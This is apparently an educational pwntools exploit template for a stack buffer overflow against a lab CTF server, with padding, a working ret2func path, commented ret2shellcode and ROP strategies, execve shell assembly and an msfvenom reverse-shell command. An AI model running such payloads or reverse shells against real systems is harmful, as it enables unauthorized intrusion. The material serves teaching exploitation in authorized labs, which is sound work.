#!/usr/bin/env python3
"""
exploit-template.py.txt
========================
EDUCATIONAL EXPLOIT TEMPLATE — NOT A WORKING EXPLOIT
For use in authorized CTF / lab environments only.
FOR EDUCATIONAL USE IN AUTHORIZED TESTING ENVIRONMENTS ONLY.

This is a pwntools exploit skeleton for a stack-based buffer overflow
targeting a vulnerable TCP server. All payload sections are placeholders.
Students should fill in the TODOs based on their analysis of the target binary.

Requirements:
    pip install pwntools

Usage (in a lab environment):
    python3 exploit-template.py LOCAL
    python3 exploit-template.py REMOTE <host> <port>
"""

import sys

# TODO: Install pwntools in your lab environment
#       pip install pwntools
from pwn import *

# ============================================================================
# CONFIGURATION — Update these values based on your target analysis
# ============================================================================

# Path to the local binary (for local testing and symbol resolution)
BINARY_PATH = "./vuln_server"

# Remote target (for CTF challenges)
REMOTE_HOST = "challenge.ctf.example.com"
REMOTE_PORT = 9999

# TODO: Determine the exact offset from buffer start to saved return address.
#       Method 1: Use cyclic pattern
#           payload = cyclic(200)
#           # Send to target, read crash address from core dump
#           # offset = cyclic_find(<crash_value>)
#       Method 2: Manual calculation
#           buffer_size + saved_rbp_size = 64 + 8 = 72 (for x86-64)
OFFSET_TO_RIP = 72  # TODO: Verify this offset for your target

# ============================================================================
# SETUP — Binary analysis and connection
# ============================================================================

# Set architecture context (auto-detected from binary if available)
try:
    context.binary = elf = ELF(BINARY_PATH)
    context.log_level = "info"
    log.info(f"Binary: {elf.path}")
    log.info(f"Arch:   {elf.arch}")
    log.info(f"Bits:   {elf.bits}")
    log.info(f"PIE:    {'Yes' if elf.pie else 'No'}")
except FileNotFoundError:
    log.warning(f"Binary not found at {BINARY_PATH} -- using manual context")
    context.arch = "amd64"
    context.os = "linux"
    context.log_level = "info"
    elf = None

# ============================================================================
# CONNECTION — Local process or remote target
# ============================================================================

def get_connection():
    """Establish connection to the target (local or remote)."""
    if len(sys.argv) > 1 and sys.argv[1] == "REMOTE":
        host = sys.argv[2] if len(sys.argv) > 2 else REMOTE_HOST
        port = int(sys.argv[3]) if len(sys.argv) > 3 else REMOTE_PORT
        log.info(f"Connecting to remote target {host}:{port}")
        return remote(host, port)
    else:
        log.info(f"Starting local process: {BINARY_PATH}")
        # TODO: Uncomment gdb.attach line below to debug interactively
        p = process(BINARY_PATH)
        # gdb.attach(p, '''
        #     break handle_client
        #     continue
        # ''')
        return p

# ============================================================================
# EXPLOIT PAYLOAD CONSTRUCTION
# ============================================================================

def build_payload():
    """
    Construct the exploit payload.

    Stack layout (x86-64, high to low addresses):
        [function arguments]
        [return address]       <-- we overwrite this (offset 72)
        [saved RBP]            <-- we overwrite this (offset 64)
        [local buffer - 64B]   <-- our input starts here
    """

    # --- Stage 1: Padding to reach return address ---
    padding = b"A" * OFFSET_TO_RIP
    log.info(f"Padding: {OFFSET_TO_RIP} bytes")

    # --- Stage 2: Return address ---
    # TODO: Choose ONE of the following strategies and fill in the address.

    # Strategy A: Redirect to an existing function (e.g., admin_shell)
    # Find address with: objdump -d vuln_server | grep admin_shell
    # Or with pwntools: elf.symbols['admin_shell']
    if elf and "admin_shell" in elf.symbols:
        ret_addr = p64(elf.symbols["admin_shell"])
        log.info(f"Target: admin_shell @ {hex(elf.symbols['admin_shell'])}")
    else:
        ret_addr = p64(0xDEADBEEF)  # TODO: Replace with actual address
        log.warning("Using placeholder address -- update before running!")

    # Strategy B: Return to shellcode on the stack (requires execstack)
    # TODO: Determine the stack address where your NOP sled lands.
    #       Use GDB to inspect RSP after overflow:
    #           (gdb) break *handle_client+<offset_after_gets>
    #           (gdb) x/32gx $rsp
    # STACK_ADDR = 0x7fffffffe4c0  # TODO: Find via debugging
    # ret_addr = p64(STACK_ADDR)

    # Strategy C: ROP chain (for NX-enabled binaries)
    # TODO: Build a ROP chain using available gadgets
    # rop = ROP(elf)
    # rop.call('system', [next(elf.search(b'/bin/sh'))])
    # ret_addr = rop.chain()

    # --- Stage 3: NOP sled (for shellcode strategy only) ---
    # The NOP sled gives a margin of error for the return address.
    # The CPU executes NOPs (0x90) harmlessly until reaching shellcode.
    NOP_SLED_SIZE = 64  # TODO: Adjust based on available space
    nop_sled = b"\x90" * NOP_SLED_SIZE

    # --- Stage 4: Shellcode placeholder ---
    # INSERT SHELLCODE HERE - for authorized testing only
    #
    # TODO: Generate shellcode for your target architecture.
    #       Option 1 - pwntools shellcraft:
    #           shellcode = asm(shellcraft.sh())
    #           shellcode = asm(shellcraft.cat('/flag.txt'))
    #       Option 2 - msfvenom:
    #           msfvenom -p linux/x64/shell_reverse_tcp \
    #               LHOST=<your_ip> LPORT=4444 -f python -b '\x00'
    #       Option 3 - Custom assembly:
    #           shellcode = asm('''
    #               xor rdi, rdi
    #               push rdi
    #               mov rdi, 0x68732f6e69622f
    #               push rdi
    #               mov rdi, rsp
    #               xor esi, esi
    #               xor edx, edx
    #               mov al, 59
    #               syscall
    #           ''')
    #
    # IMPORTANT: Ensure shellcode does not contain bad characters
    # Common bad chars: \x00 (null), \x0a (newline), \x0d (carriage return)
    shellcode = b""  # TODO: Replace with actual shellcode for your lab

    # --- Assemble the final payload ---
    # For Strategy A (ret2func): just padding + return address
    payload = padding + ret_addr

    # For Strategy B (ret2shellcode): uncomment below
    # payload = padding + ret_addr + nop_sled + shellcode

    # For Strategy C (ROP): uncomment below
    # payload = padding + ret_addr  # ret_addr is already the full ROP chain

    log.info(f"Total payload size: {len(payload)} bytes")
    return payload

# ============================================================================
# EXPLOIT EXECUTION
# ============================================================================

def exploit():
    """Send the payload and interact with the target."""

    conn = get_connection()

    # Wait for the server prompt
    # TODO: Update the expected prompt string for your target
    conn.recvuntil(b"Enter your message: ")

    # Build and send the exploit payload
    payload = build_payload()
    log.info("Sending payload...")
    conn.sendline(payload)

    # If exploitation succeeds, drop into an interactive shell
    log.success("Payload sent -- switching to interactive mode")
    log.info("Type commands to interact with the target")
    log.info("Press Ctrl+C to exit")

    try:
        conn.interactive()
    except KeyboardInterrupt:
        log.info("Session closed by user")
    finally:
        conn.close()

# ============================================================================
# MAIN
# ============================================================================

if __name__ == "__main__":
    print("=" * 70)
    print("  EDUCATIONAL EXPLOIT TEMPLATE")
    print("  FOR AUTHORIZED TESTING ENVIRONMENTS ONLY")
    print("=" * 70)
    print()

    if len(sys.argv) > 1 and sys.argv[1] == "--help":
        print("Usage:")
        print(f"  python3 {sys.argv[0]} LOCAL              # Attack local binary")
        print(f"  python3 {sys.argv[0]} REMOTE <host> <port>  # Attack remote target")
        print()
        print("Prerequisites:")
        print("  1. pip install pwntools")
        print("  2. Update OFFSET_TO_RIP for your target")
        print("  3. Choose a return address strategy")
        print("  4. Generate appropriate shellcode (if needed)")
        sys.exit(0)

    exploit()
